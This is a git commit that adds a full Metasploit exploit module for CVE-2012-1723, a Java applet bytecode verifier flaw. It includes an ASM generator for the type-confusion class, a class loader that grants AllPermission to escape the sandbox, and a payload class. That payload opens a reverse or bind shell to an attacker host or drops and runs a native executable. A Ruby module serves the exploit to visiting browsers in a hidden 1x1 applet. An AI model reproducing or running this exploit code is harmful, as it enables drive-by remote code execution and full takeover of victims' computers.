added CVE-2012-1723

This commit is contained in:
LittleLightLittleFire 2012-07-10 12:20:37 +10:00
parent 52752d7685
commit e9ac90f7b0
7 changed files with 605 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,2 @@
1. Run Generator to make 'Confuser.class', requires ASM4
2. Then pack everything together to make the jar

View File

@ -0,0 +1,63 @@
package cve1723;
import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.IntBuffer;
/**
* Attacker applet
*/
public class Attacker extends Applet {
@Override
public void init() {
super.init();
final Confuser c = new Confuser();
for (int i = 0; i < 100000; i++) {
c.confuse(null);
}
try {
Thread.sleep(100);
} catch (final InterruptedException ie) {
//swallow
}
try {
final ConfusingClassLoader cl = c.confuse(getClass().getClassLoader());
final String names[] = { "msf.x.PayloadX", "msf.x.PayloadX$StreamConnector" };
final String paths[] = { "/msf/x/PayloadX.class", "/msf/x/PayloadX$StreamConnector.class" };
final String port = getParameter("lport");
ConfusingClassLoader.defineAndCreate(cl, names, new byte[][] { loadClass(paths[0]), loadClass(paths[1])}, getParameter("data"), getParameter("jar"), getParameter("lhost"), (port == null ? 4444 : Integer.parseInt(port)));
} catch (final Exception e) {
e.printStackTrace();
}
}
private byte[] loadClass(final String name) throws IOException {
final ByteArrayOutputStream os = new ByteArrayOutputStream();
{ // load the payload class
final InputStream is = getClass().getResourceAsStream(name);
int read;
byte[] buffer = new byte[2048];
while ((read = is.read(buffer, 0, buffer.length)) != -1) {
os.write(buffer, 0, read);
}
}
return os.toByteArray();
}
@Override
public void paint(final Graphics g) {
super.paint(g);
final String tool = System.getSecurityManager() == null ? "null" : System.getSecurityManager().toString();
g.drawString(tool, 0, 10);
}
}

View File

@ -0,0 +1,40 @@
package cve1723;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.*;
import java.security.cert.Certificate;
import java.util.Enumeration;
/**
* Call the protected method
*/
public class ConfusingClassLoader extends ClassLoader {
public static void defineAndCreate(final ConfusingClassLoader cl, final String name[], final byte data[][], final String hexdata, final String jar, final String lhost, final int lport) {
try {
final Permissions p = new Permissions();
p.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, new Certificate[0]), p);
final Class<?> clazz = cl.defineClass(name[0], data[0], 0, data[0].length, pd);
cl.defineClass(name[1], data[1], 0, data[1].length, pd);
final Field payload_data = clazz.getField("data");
final Field payload_jar = clazz.getField("jar");
final Field payload_lhost = clazz.getField("lhost");
final Field payload_lport = clazz.getField("lport");
payload_data.set(null, hexdata);
payload_jar.set(null, jar);
payload_lhost.set(null, lhost);
payload_lport.set(null, lport);
clazz.newInstance();
} catch (final Exception e) {
// swallow
e.printStackTrace();
}
}
}

View File

@ -0,0 +1,132 @@
package cve1723;
import org.objectweb.asm.*;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.*;
import java.util.Arrays;
import static org.objectweb.asm.Opcodes.*;
/**
* CVE-2012-1723
*/
public class Generator {
public static byte[] generateConfusion() {
final String STATIC_FIELD_NAME = "staticTypeA";
final String INSTANCE_FIELD_NAME = "instanceTypeB";
final String CONFUSE_METHOD_NAME = "confuse";
final String CONFUSER_CLASS_NAME = "cve1723/Confuser";
final String TYPE_A = "Ljava/lang/ClassLoader;";
final String TYPE_B = "Lcve1723/ConfusingClassLoader;";
final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
MethodVisitor mv = null;
FieldVisitor fv = null;
cw.visit(V1_5, ACC_PUBLIC | ACC_SUPER, CONFUSER_CLASS_NAME, null, "java/lang/Object", null);
// static field of type A (ClassLoader)
{
fv = cw.visitField(ACC_STATIC, STATIC_FIELD_NAME, TYPE_A, null, null);
fv.visitEnd();
}
// one hundred fields of type B (ConfusingClassLoader)
{
for (int i = 0; i < 100; i++) {
fv = cw.visitField(ACC_PUBLIC, INSTANCE_FIELD_NAME + i, TYPE_B, null, null);
fv.visitEnd();
}
}
// constructor
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V");
mv.visitInsn(RETURN);
mv.visitMaxs(0, 0);
mv.visitEnd();
}
// confuse method
{
mv = cw.visitMethod(ACC_PUBLIC, CONFUSE_METHOD_NAME, "(" + TYPE_A + ")" + TYPE_B, null, null);
mv.visitCode();
/*
aload 1 // push parameter onto stack
ifnonnull cont:
aconst_null
areturn // quick return
cont:
getstatic STATIC_FIELD_NAME
pop
aload 0
aload 1
putfield STATIC_FIELD_NAME // force this into a non-static field
// find instance field that's not null
aload 0
getfield INSTANCE_FIELD_NAME_1
ifnull cont2:
aload 0
getfield INSTANCE_FIELD_NAME_1
areturn
cont2:
...
aconst_null
areturn
*/
// first part
mv.visitVarInsn(ALOAD, 1);
final Label cont = new Label();
mv.visitJumpInsn(IFNONNULL, cont);
mv.visitInsn(ACONST_NULL);
mv.visitInsn(ARETURN);
mv.visitLabel(cont);
// 2nd part
mv.visitFieldInsn(GETSTATIC, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);
mv.visitInsn(POP);
mv.visitVarInsn(ALOAD, 0);
mv.visitVarInsn(ALOAD, 1);
mv.visitFieldInsn(PUTFIELD, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);
for (int i = 0; i < 100; i++) {
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);
final Label contN = new Label();
mv.visitJumpInsn(IFNULL, contN);
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);
mv.visitInsn(ARETURN);
mv.visitLabel(contN);
}
mv.visitInsn(ACONST_NULL);
mv.visitInsn(ARETURN);
mv.visitMaxs(0, 0);
mv.visitEnd();
}
cw.visitEnd();
return cw.toByteArray();
}
public static void main(final String args[]) throws Exception {
final byte data[] = Generator.generateConfusion();
final FileOutputStream fo = new FileOutputStream("lib/cve1723/Confuser.class");
fo.write(data);
fo.close();
}
}

View File

@ -0,0 +1,195 @@
package msf.x;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class PayloadX implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public static String data = null;
public static String jar = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public static String lhost = null;
public static int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) {}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) {}
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public static byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
//System.out.println("Running");
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null && PayloadX.jar == null )
return null;
//System.out.println("have either data or jar");
try
{
String os = System.getProperty( "os.name" );
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if(
(PayloadX.data == null || PayloadX.data.length() == 0) &&
(PayloadX.jar == null || PayloadX.jar.length() == 0)
) {
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
if( PayloadX.lhost == null )
{
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
client_socket = server_socket.accept();
}
else
{
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
}
if( client_socket != null )
{
Process process = exec( shell );
if( process != null )
{
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
}
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
{
//System.out.println("Dropping JAR");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
writeFile( path, StringToBytes( PayloadX.jar ) );
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
}
else
{
//System.out.println("Dropping EXE");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
writeFile( path, StringToBytes( PayloadX.data ) );
if( os.indexOf( "Windows" ) < 0 )
{
exec( "chmod 755 " + path );
}
exec( path );
new File( path ).delete();
}
}
catch( Exception e ) {
//System.out.println(e);
}
return null;
}
public Process exec( String path )
{
Process p = null;
//System.out.println( "Executing" );
try {
p = Runtime.getRuntime().exec( path );
if( p == null )
{
//System.out.println( "Null process, crap" );
}
p.waitFor();
} catch( Exception e ) {
//System.out.println(e);
}
return p;
}
public void writeFile( String path, byte[] data )
{
//System.out.println( "Writing file" );
try {
FileOutputStream fos = new FileOutputStream( path );
fos.write( data );
fos.close();
} catch( Exception e ) {
//System.out.println(e);
}
}
public PayloadX()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) {
//System.out.println(e);
}
}
}

View File

@ -0,0 +1,173 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
type checks.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stefan Cornellius', # Discoverer
'littlelightlittlefire', # metasploit module
],
'References' =>
[
['CVE', '2012-1723'],
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-1723']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2012'
))
end
def exploit
# load the static jar file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri( cli, request )
data = ""
host = ""
port = ""
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status("Sending #{self.name}")
payload = regenerate_payload( cli )
if not payload
print_error("Failed to generate the payload." )
return
end
if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
jar = payload.encoded
host = datastore['LHOST']
port = datastore['LPORT']
vprint_status("Sending java reverse shell")
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
vprint_status( "Java bind shell" )
end
if jar
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
else
print_error("Failed to generate the executable." )
return
end
else
# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe
if data
print_status("Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error("Failed to generate the executable." )
return
end
end
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
return
end
print_status("Sending jar")
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "</applet></body></html>"
return html
end
def generate_jar()
return @jar_data
end
end